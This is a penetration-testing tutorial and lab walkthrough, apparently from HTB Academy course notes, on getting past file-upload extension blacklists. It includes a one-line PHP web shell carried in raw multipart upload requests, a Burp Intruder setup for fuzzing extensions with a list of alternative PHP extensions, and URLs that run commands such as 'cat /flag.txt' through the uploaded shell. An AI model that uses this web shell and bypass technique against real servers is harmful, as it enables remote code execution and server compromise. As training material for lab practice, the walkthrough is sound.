Blacklist Filters
π« Extension Blocking: Bypassing server-side blacklist validation that blocks specific file extensions
Overview
In the previous section, we saw an example of a web application that only applied type validation controls on the front-end (i.e., client-side), which made it trivial to bypass these controls. This is why it is always recommended to implement all security-related controls on the back-end server, where attackers cannot directly manipulate it.
Still, if the type validation controls on the back-end server were not securely coded, an attacker can utilize multiple techniques to bypass them and reach PHP file uploads.
The exercise we find in this section is similar to the one we saw in the previous section, but it has a blacklist of disallowed extensions to prevent uploading web scripts.
Blacklisting Extensions
β οΈ Incomplete Protection: Blacklists cannot cover all possible dangerous extensions
Understanding Blacklist Validation
There are generally two common forms of validating a file extension on the back-end:
Testing against a blacklist of types (deny specific extensions)
Testing against a whitelist of types (allow only specific extensions)
Furthermore, the validation may also check the file type or the file content for type matching. The weakest form of validation amongst these is testing the file extension against a blacklist of extension to determine whether the upload request should be blocked.
Example Blacklist Implementation
PHP Blacklist Code:
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}Vulnerability Analysis:
Incomplete List - Many dangerous extensions not included
Case Sensitivity - Only checks lowercase extensions
Limited Scope - Doesn't cover all executable extensions
Testing Blacklist Bypass
Initial Bypass Attempt:
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.php"
Content-Type: image/png
<?php system(\$_REQUEST['cmd']); ?>
----boundary--Expected Response:
Extension not allowedThis indicates that the web application has some form of file type validation on the back-end, in addition to the front-end validations.
HTB Academy Lab Solutions
Lab 1: Basic Blacklist Bypass
Target: `HTB{...}`
Step-by-Step Solution:
Step 1: Reconnaissance
# Test basic PHP upload
filename="shell.php" β "Extension not allowed"
# Confirms blacklist filtering is in placeStep 2: Extension Fuzzing
# Use Burp Intruder with PHP extensions wordlist
# Look for responses different from "Extension not allowed"
# Identify allowed extensions: .phtml, .php3, .php4, .php5, .incStep 3: Test Allowed Extension
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.phtml"
Content-Type: image/png
<?php system(\$_REQUEST['cmd']); ?>
----boundary--Step 4: Execute Commands
# Access uploaded file
http://SERVER_IP:PORT/profile_images/shell.phtml?cmd=id
# Read flag
http://SERVER_IP:PORT/profile_images/shell.phtml?cmd=cat /flag.txtFuzzing Extensions
π Discovery Process: Systematically test extensions to find allowed ones
Extension Wordlists
Popular Extension Lists:
PayloadsAllTheThings - PHP and .NET web application extensions
SecLists - Common web extensions list
Custom Lists - Application-specific extensions
PHP Extensions to Test:
# Common PHP extensions
php, phtml, php3, php4, php5, php7, phps, phar, inc
# Alternative PHP extensions
php2, php6, php8, phpt, pht, phtm, phps, phps3, phps4, phps5Burp Suite Fuzzing Setup
Step 1: Intercept Upload Request
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="HTB.Β§phpΒ§"
Content-Type: image/png
<?php system(\$_REQUEST['cmd']); ?>
----boundary--Step 2: Configure Intruder
Send to Intruder - Right-click request β "Send to Intruder"
Clear Positions - Remove auto-generated payload positions
Add Position - Select `.php` extension and click "Add Β§"
Load Payloads - Upload PHP extensions wordlist
Disable URL Encoding - Uncheck URL encoding option
Step 3: Analyze Results
# Sort results by Length/Response
# Look for different response patterns:
# - "Extension not allowed" = BLOCKED
# - "File successfully uploaded" = ALLOWED
# - Different Content-Length = Potential bypassTesting .phtml Extension
Step 1: Modify Request
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=--boundary
----boundary
Content-Disposition: form-data; name="uploadFile"; filename="shell.phtml"
Content-Type: image/png
<?php system(\$_REQUEST['cmd']); ?>
----boundary--Step 2: Test Code Execution
# Navigate to uploaded file
http://SERVER_IP:PORT/profile_images/shell.phtml?cmd=id
# Expected output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)This comprehensive guide demonstrates the weaknesses of blacklist-based filtering and provides practical techniques for bypassing such controls during penetration testing.
Last updated